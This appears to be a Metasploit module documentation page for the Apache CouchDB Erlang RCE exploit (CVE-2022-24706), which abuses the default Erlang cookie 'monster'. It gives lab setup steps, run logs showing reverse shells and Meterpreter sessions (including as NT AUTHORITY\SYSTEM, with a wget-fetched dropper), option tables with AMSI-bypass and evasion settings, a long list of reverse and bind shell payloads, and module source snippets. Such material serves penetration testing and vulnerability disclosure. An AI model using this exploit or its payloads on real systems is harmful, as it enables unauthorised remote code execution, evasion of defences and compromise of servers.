Apache Couchdb Erlang RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/apache_couchdb_erlang_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Apache Couchdb Erlang RCE
Module: exploit/multi/http/apache_couchdb_erlang_rce
Source code: modules/exploits/multi/http/apache_couchdb_erlang_rce.rb
Disclosure date: 2022-01-21
Last modification time: 2022-10-27 15:56:14 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Windows
Target service / protocol: -
Target network port(s): 4369
List of CVEs: CVE-2022-24706
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
msf > use exploit/multi/http/apache_couchdb_erlang_rce
msf exploit(apache_couchdb_erlang_rce) > exploit
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
This module exploits CVE-2022-24706, an unauthenticated RCE vulnerability in Apache CouchDB in versions 3.2.1 and below.
Apache CouchDB is written in Erlang and so it has built-in support for distributed computing (clustering). The cluster nodes communicate using the Erlang/OTP Distribution Protocol, which provides for the possibility of executing OS command requests as the user running the software.
In order to connect and run OS commands, one needs to know the secret phrase or in Erlang terms the "cookie". The CouchDB installer in versions 3.2.1 and below, by default, sets the cookie to "monster".
Setup
Ubuntu 20.04
Create a CouchDB user:
sudo adduser --system \
--home /opt/couchdb \
--no-create-home \
--shell /bin/bash \
--group --gecos \
"CouchDB Administrator" couchdb
sudo passwd couchdb
Install dependencies:
sudo apt-get --no-install-recommends -y install \
build-essential pkg-config erlang erlang-reltool \
libicu-dev libmozjs-68-dev python3
sudo apt-get -y install pip sphinx-doc sphinx-common
sudo pip install --upgrade sphinx_rtd_theme nose requests hypothesis
Download vulnerable version of CouchDB:
wget https://downloads.apache.org/couchdb/source/3.2.1/apache-couchdb-3.2.1.tar.gz
gunzip apache-couchdb-3.2.1.tar.gz
tar -xvf apache-couchdb-3.2.1.tar
Copy the built couchdb release to the new user's home directory:
cp -R /path/to/couchdb/rel/couchdb /opt/couchdb
Change the ownership & permission of the CouchDB directories by running:
chown -R couchdb:couchdb /opt/couchdb
find /opt/couchdb -type d -exec chmod 0770 {} \;
Update the permissions for the ini files:
chmod 0644 /opt/couchdb/etc/*
Change the bind address of [chttpd]
and [httpd]
in </path/to/couchdb/>/etc/default.ini
from 127.0.0.1 to 0.0.0.0 or
or whatever you prefer.
[httpd]
port = 5986
bind_address = 0.0.0.0
[chttpd]
; These settings affect the main, clustered port (5984 by default).
port = 5984
bind_address = 0.0.0.0
You can start the CouchDB server by running:
sudo -i -u couchdb couchdb/bin/couchdb
Navigate to http://<IP-ADDRESS>:5984/_utils/
to verify the install
Windows
Download the following installer:
https://archive.apache.org/dist/couchdb/binary/win/2.3.1/apache-couchdb-2.3.1.msi
Click the installer to launch, accept the licensing agreement. CouchDB should now be installed.
Change the bind address of [chttpd]
and [httpd]
in </path/to/couchdb/>etc/default.ini
from 127.0.0.1 to 0.0.0.0 or
or whatever you prefer
[httpd]
port = 5986
bind_address = 0.0.0.0
[chttpd]
; These settings affect the main, clustered port (5984 by default).
port = 5984
bind_address = 0.0.0.0
Restart the Apache CouchDB
service: net stop "Apache CouchDB"
and then net start "Apache CouchDB"
in an administrative console.
Then navigate to http://<IP-ADDRESS>:5984/_utils/
to verify that the install completed successfully. You should see a page with
Databases
at the top of the screen and a navigation bar to the left of the screen if all goes well.
Verification Steps
- Start msfconsole
- Do:
use exploit/multi/http/apache_couchdb_erlang_rce
- Set the
RHOST
andLHOST
values exploit
- Verify: That you receive a session as the user that is running the ApacheDB application.
Scenarios
Unix Command, Ubuntu 20.04, Apache CouchDB 3.2.1
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run
[*] Started reverse double SSL handler on 172.16.199.1:4444
[*] 172.16.199.164:4369 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.164:4369 - Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: 172.16.199.164:4369...
[*] 172.16.199.164:4369 - Successfully found EDPM socket
[*] 172.16.199.164:4369 - Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...
[*] 172.16.199.164:4369 - Connection successful
[*] 172.16.199.164:4369 - Erlang challenge and response completed successfully
[+] 172.16.199.164:4369 - The target is vulnerable. Successfully connected to the Erlang Server with cookie: "monster"
[*] 172.16.199.164:4369 - sending payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo t82KLKYvcDd54em2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "t82KLKYvcDd54em2\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.199.1:4443 -> 172.16.199.164:53778) at 2022-10-13 14:09:49 -0400
id
uid=128(couchdb) gid=134(couchdb) groups=134(couchdb)
uname -a
Linux ubuntu 5.15.0-50-generic #56~20.04.1-Ubuntu SMP Tue Sep 27 15:51:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Linux Dropper, Ubuntu 20.04, Apache CouchDB 3.2.1
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.164:4369 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.164:4369 - Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: 172.16.199.164:4369...
[*] 172.16.199.164:4369 - Successfully found EDPM socket
[*] 172.16.199.164:4369 - Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...
[*] 172.16.199.164:4369 - Connection successful
[*] 172.16.199.164:4369 - Erlang challenge and response completed successfully
[+] 172.16.199.164:4369 - The target is vulnerable. Successfully connected to the Erlang Server with cookie: "monster"
[*] 172.16.199.164:4369 - Using URL: http://172.16.199.1:8080/xiNdbG3
[*] 172.16.199.164:4369 - sending payload...
[*] 172.16.199.164:4369 - Client 172.16.199.164 (Wget/1.20.3 (linux-gnu)) requested /xiNdbG3
[*] 172.16.199.164:4369 - Sending payload to 172.16.199.164 (Wget/1.20.3 (linux-gnu))
[*] Meterpreter session 10 opened (172.16.199.1:4444 -> 172.16.199.164:57710) at 2022-10-17 18:33:57 -0400
[*] 172.16.199.164:4369 - Command Stager progress - 100.00% done (112/112 bytes)
[*] 172.16.199.164:4369 - Server stopped.
meterpreter > getuid
Server username: couchdb
meterpreter > sysinfo
Computer : 172.16.199.164
OS : Ubuntu 20.04 (Linux 5.15.0-50-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > exit
Windows Command, Windows 10, Apache CouchDB 2.3.1
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.137:4369 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.137:4369 - Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: 172.16.199.137:4369...
[*] 172.16.199.137:4369 - Successfully found EDPM socket
[*] 172.16.199.137:4369 - Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...
[*] 172.16.199.137:4369 - Connection successful
[*] 172.16.199.137:4369 - Erlang challenge and response completed successfully
[+] 172.16.199.137:4369 - The target is vulnerable. Successfully connected to the Erlang Server with cookie: "monster"
[*] 172.16.199.137:4369 - sending payload...
[*] Powershell session session 11 opened (172.16.199.1:4444 -> 172.16.199.137:49762) at 2022-10-17 18:44:16 -0400
Shell Banner:
Windows PowerShell running as user DESKTOP-8ATHH6O$ on DESKTOP-8ATHH6O
Copyright (C) Microsoft Corporation. All rights reserved.
-----
PS C:\CouchDB> whoami
nt authority\system
PS C:\CouchDB> systeminfo
Host Name: DESKTOP-8ATHH6O
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.19042 N/A Build 19042
...
PS C:\CouchDB>
Windows Dropper, Windows 10, Apache CouchDB 2.3.1
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.137:4369 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.137:4369 - Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: 172.16.199.137:4369...
[*] 172.16.199.137:4369 - Successfully found EDPM socket
[*] 172.16.199.137:4369 - Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...
[*] 172.16.199.137:4369 - Connection successful
[*] 172.16.199.137:4369 - Erlang challenge and response completed successfully
[+] 172.16.199.137:4369 - The target is vulnerable. Successfully connected to the Erlang Server with cookie: "monster"
[*] 172.16.199.137:4369 - sending payload...
...
[*] 172.16.199.137:4369 - Command Stager progress - 99.41% done (306900/308720 bytes)
[*] 172.16.199.137:4369 - sending payload...
[*] Meterpreter session 5 opened (172.16.199.1:4444 -> 172.16.199.137:49749) at 2022-10-14 17:09:31 -0400
[*] 172.16.199.137:4369 - Command Stager progress - 100.00% done (308720/308720 bytes)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-8ATHH6O
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
PowerShell Stager, Windows 10, Apache CouchDB 2.3.1
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] 172.16.199.137:4369 - Running automatic check ("set AutoCheck false" to disable)
[*] 172.16.199.137:4369 - Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: 172.16.199.137:4369...
[*] 172.16.199.137:4369 - Successfully found EDPM socket
[*] 172.16.199.137:4369 - Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...
[*] 172.16.199.137:4369 - Connection successful
[*] 172.16.199.137:4369 - Erlang challenge and response completed successfully
[+] 172.16.199.137:4369 - The target is vulnerable. Successfully connected to the Erlang Server with cookie: "monster"
[*] 172.16.199.137:4369 - sending payload...
[*] 172.16.199.137:4369 - Command Stager progress - 20.94% done (2046/9770 bytes)
[*] 172.16.199.137:4369 - sending payload...
[*] 172.16.199.137:4369 - Command Stager progress - 41.88% done (4092/9770 bytes)
[*] 172.16.199.137:4369 - sending payload...
[*] 172.16.199.137:4369 - Command Stager progress - 62.82% done (6138/9770 bytes)
[*] 172.16.199.137:4369 - sending payload...
[*] 172.16.199.137:4369 - Command Stager progress - 83.77% done (8184/9770 bytes)
[*] 172.16.199.137:4369 - sending payload...
[*] Sending stage (222278 bytes) to 172.16.199.137
[*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.137:49773) at 2022-10-17 18:45:56 -0400
[*] 172.16.199.137:4369 - Command Stager progress - 100.00% done (9770/9770 bytes)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-8ATHH6O
OS : Windows 10 (10.0 Build 19042).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
Go back to menu.
Msfconsole Usage
Here is how the multi/http/apache_couchdb_erlang_rce exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/apache_couchdb_erlang_rce
[*] Using configured payload cmd/unix/reverse_openssl
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > show info
Name: Apache Couchdb Erlang RCE
Module: exploit/multi/http/apache_couchdb_erlang_rce
Platform: Windows, Linux
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-01-21
Provided by:
Milton Valencia (wetw0rk)
1F98D
Konstantin Burov
_sadshade
jheysel-r7
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
2 Windows Command
3 Windows Dropper
4 PowerShell Stager
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 4369 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addr
esses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
In Apache CouchDB prior to 3.2.2, an attacker can access an
improperly secured default installation without authenticating and
gain admin privileges.
References:
https://www.exploit-db.com/exploits/49418
https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit
https://nvd.nist.gov/vuln/detail/CVE-2022-24706
Module Options
This is a complete list of options available in the multi/http/apache_couchdb_erlang_rce exploit:
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > show options
Module options (exploit/multi/http/apache_couchdb_erlang_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 4369 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all add
resses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse_openssl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
Advanced Options
Here is a complete list of advanced options supported by the multi/http/apache_couchdb_erlang_rce exploit:
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > show advanced
Module advanced options (exploit/multi/http/apache_couchdb_erlang_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, wget, certutil)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CMDSTAGER::URIPATH no Payload URI path for supported stagers
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
ListenerBindAddress no The specific IP address to bind to if different from SRVHOST
ListenerBindPort no The port to bind to if different from SRVPORT
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass auto yes Prepend AMSI/SBL bypass (Accepted: auto, true, false)
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: A
uto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_openssl):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
HandlerSSLCert no Path to a SSL certificate in unified PEM format
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SS
L23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/apache_couchdb_erlang_rce module can exploit:
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Unix Command
1 Linux Dropper
2 Windows Command
3 Windows Dropper
4 PowerShell Stager
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/apache_couchdb_erlang_rce exploit:
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
20 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
21 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
22 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
23 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
26 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
27 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
28 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
29 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
30 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
31 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
32 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
33 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
36 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
37 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
38 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
39 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
41 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
42 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
43 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
44 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
45 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
46 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
47 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
48 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
49 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
50 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
51 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
52 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
53 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
54 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
55 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
56 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
57 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
58 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
59 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
60 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
61 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
62 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
63 payload/generic/custom normal No Custom Payload
64 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
65 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
66 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/apache_couchdb_erlang_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/apache_couchdb_erlang_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- This endpoint does not appear to expose any erlang ports
- Successfully connected to the Erlang Server with cookie: "monster"
- This endpoint has an exposed erlang port(s) but appears to be a patched
- Did not find any Erlang nodes
- Error connecting to EDPM: <E.CLASS> <E>
- Connecting to the Erlang server was unsuccessful
- Authentication was unsuccessful
- Error when connecting to Erlang Server: <E.CLASS> <E>
- Invalid target specified
- This endpoint does not appear to expose any erlang ports
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
This endpoint does not appear to expose any erlang ports
Here is a relevant code snippet related to the "This endpoint does not appear to expose any erlang ports" error message:
127: end
128:
129: def check
130: erlang_ports = get_erlang_ports
131: # If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
132: return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?
133:
134: erlang_ports.each do |erlang_port|
135: # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
136: # successful and the target as well as the specific socket used in this instance is vulnerable
137: sock = connect_to_erlang_server(erlang_port.to_i)
Successfully connected to the Erlang Server with cookie: "monster"
Here is a relevant code snippet related to the "Successfully connected to the Erlang Server with cookie: "monster"" error message:
135: # If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
136: # successful and the target as well as the specific socket used in this instance is vulnerable
137: sock = connect_to_erlang_server(erlang_port.to_i)
138: if sock.instance_of?(Socket)
139: @vulnerable_socket = sock
140: return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
141: else
142: next
143: end
144: end
145: Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
This endpoint has an exposed erlang port(s) but appears to be a patched
Here is a relevant code snippet related to the "This endpoint has an exposed erlang port(s) but appears to be a patched" error message:
140: return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
141: else
142: next
143: end
144: end
145: Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
146: end
147:
148: # Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
149: #
150: # @return [Array] An array of port numbers for discovered Erlang Servers.
Did not find any Erlang nodes
Here is a relevant code snippet related to the "Did not find any Erlang nodes" error message:
156: # request Erlang nodes
157: sock.put(EPM_NAME_CMD)
158: sleep datastore['WfsDelay']
159: res = sock.get_once
160: unless res && res.include?("\x00\x00\x11\x11name couchdb")
161: print_error('Did not find any Erlang nodes')
162: return erlang_ports
163: end
164:
165: print_status('Successfully found EDPM socket')
166: res.each_line do |line|
Error connecting to EDPM: <E.CLASS> <E>
Here is a relevant code snippet related to the "Error connecting to EDPM: <E.CLASS> <E>" error message:
165: print_status('Successfully found EDPM socket')
166: res.each_line do |line|
167: erlang_ports << line.match(/\s(\d+$)/)[0]
168: end
169: rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
170: print_error("Error connecting to EDPM: #{e.class} #{e}")
171: disconnect
172: return erlang_ports
173: end
174: erlang_ports
175: end
Connecting to the Erlang server was unsuccessful
Here is a relevant code snippet related to the "Connecting to the Erlang server was unsuccessful" error message:
187: sock.get_once(5) # ok message
188: sock.get_once
189: end
190: # The expected successful response from the target should start with \x00\x1C
191: unless challenge && challenge.include?("\x00\x1C")
192: print_error('Connecting to the Erlang server was unsuccessful')
193: return
194: end
195:
196: challenge = challenge[9..12].unpack('N*')[0]
